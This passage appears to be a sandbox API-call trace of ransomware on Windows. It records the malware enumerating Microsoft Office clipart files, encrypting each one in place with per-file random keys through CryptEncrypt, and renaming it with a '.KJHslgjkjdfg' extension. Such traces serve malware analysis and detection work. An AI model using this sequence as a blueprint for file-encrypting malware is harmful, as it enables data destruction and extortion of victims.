WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0202.634] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0202.634] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0202.634] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.634] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.634] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.635] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2608, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x2608, lpOverlapped=0x0) returned 1 [0202.635] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2610, dwBufLen=0x2610 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2610) returned 1 [0202.635] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.636] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2610, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2610, lpOverlapped=0x0) returned 1 [0202.636] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.636] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x26e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.636] SetEndOfFile (hFile=0x130) returned 1 [0202.638] GetProcessHeap () returned 0x2ef0000 [0202.638] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0202.638] GetProcessHeap () returned 0x2ef0000 [0202.638] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0202.639] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174635.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174635.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174635.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174635.wmf.kjhslgjkjdfg")) returned 1 [0202.640] CloseHandle (hObject=0x130) returned 1 [0202.640] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x13ec, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0174639.WMF", cAlternateFileName="")) returned 1 [0202.640] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174639.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174639.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0202.641] GetProcessHeap () returned 0x2ef0000 [0202.641] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0202.641] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0202.641] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0202.641] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0202.644] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.644] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.644] GetProcessHeap () returned 0x2ef0000 [0202.644] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0202.644] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0202.644] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.644] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0202.644] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0202.644] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0202.644] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0202.644] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0202.644] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0202.644] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.644] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.644] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.645] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x13ec, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x13ec, lpOverlapped=0x0) returned 1 [0202.646] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x13f0, dwBufLen=0x13f0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x13f0) returned 1 [0202.646] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.646] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x13f0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x13f0, lpOverlapped=0x0) returned 1 [0202.646] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.646] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x14c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.646] SetEndOfFile (hFile=0x130) returned 1 [0202.649] GetProcessHeap () returned 0x2ef0000 [0202.649] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0202.649] GetProcessHeap () returned 0x2ef0000 [0202.649] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0202.649] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174639.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174639.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174639.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174639.wmf.kjhslgjkjdfg")) returned 1 [0202.650] CloseHandle (hObject=0x130) returned 1 [0202.651] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6196, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0174952.JPG", cAlternateFileName="")) returned 1 [0202.651] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174952.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174952.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0202.651] GetProcessHeap () returned 0x2ef0000 [0202.652] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0202.652] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0202.652] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0202.652] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xa, lpOverlapped=0x0) returned 1 [0202.655] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.655] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.655] GetProcessHeap () returned 0x2ef0000 [0202.655] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0202.655] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0202.655] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.655] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0202.655] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0202.655] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0202.656] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0202.656] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0202.656] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0202.656] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.656] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.656] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.656] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x6196, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x6196, lpOverlapped=0x0) returned 1 [0202.657] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x61a0, dwBufLen=0x61a0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x61a0) returned 1 [0202.657] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.657] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x61a0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x61a0, lpOverlapped=0x0) returned 1 [0202.657] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.657] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x6274, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.658] SetEndOfFile (hFile=0x130) returned 1 [0202.660] GetProcessHeap () returned 0x2ef0000 [0202.660] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0202.660] GetProcessHeap () returned 0x2ef0000 [0202.660] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0202.660] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174952.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174952.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174952.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174952.jpg.kjhslgjkjdfg")) returned 1 [0202.667] CloseHandle (hObject=0x130) returned 1 [0202.667] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb57d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0175361.JPG", cAlternateFileName="")) returned 1 [0202.667] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175361.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0175361.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0202.668] GetProcessHeap () returned 0x2ef0000 [0202.668] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0202.668] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0202.668] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0202.668] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x3, lpOverlapped=0x0) returned 1 [0202.670] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.670] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.670] GetProcessHeap () returned 0x2ef0000 [0202.670] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0202.670] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0202.670] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.671] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0202.671] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0202.671] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0202.671] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0202.671] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0202.671] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0202.671] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.671] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.671] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.671] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xb57d, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xb57d, lpOverlapped=0x0) returned 1 [0202.673] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xb580, dwBufLen=0xb580 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xb580) returned 1 [0202.674] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.674] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xb580, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xb580, lpOverlapped=0x0) returned 1 [0202.674] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.674] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xb654, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.674] SetEndOfFile (hFile=0x130) returned 1 [0202.676] GetProcessHeap () returned 0x2ef0000 [0202.676] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0202.676] GetProcessHeap () returned 0x2ef0000 [0202.676] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0202.676] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175361.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0175361.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175361.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0175361.jpg.kjhslgjkjdfg")) returned 1 [0202.677] CloseHandle (hObject=0x130) returned 1 [0202.677] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x38d8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0175428.JPG", cAlternateFileName="")) returned 1 [0202.677] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175428.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0175428.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0202.678] GetProcessHeap () returned 0x2ef0000 [0202.678] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0202.678] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0202.678] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0202.678] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0202.680] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.680] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.680] GetProcessHeap () returned 0x2ef0000 [0202.680] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0202.680] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0202.681] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.681] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0202.681] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0202.681] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0202.681] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0202.681] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0202.681] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0202.681] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.681] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.681] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, 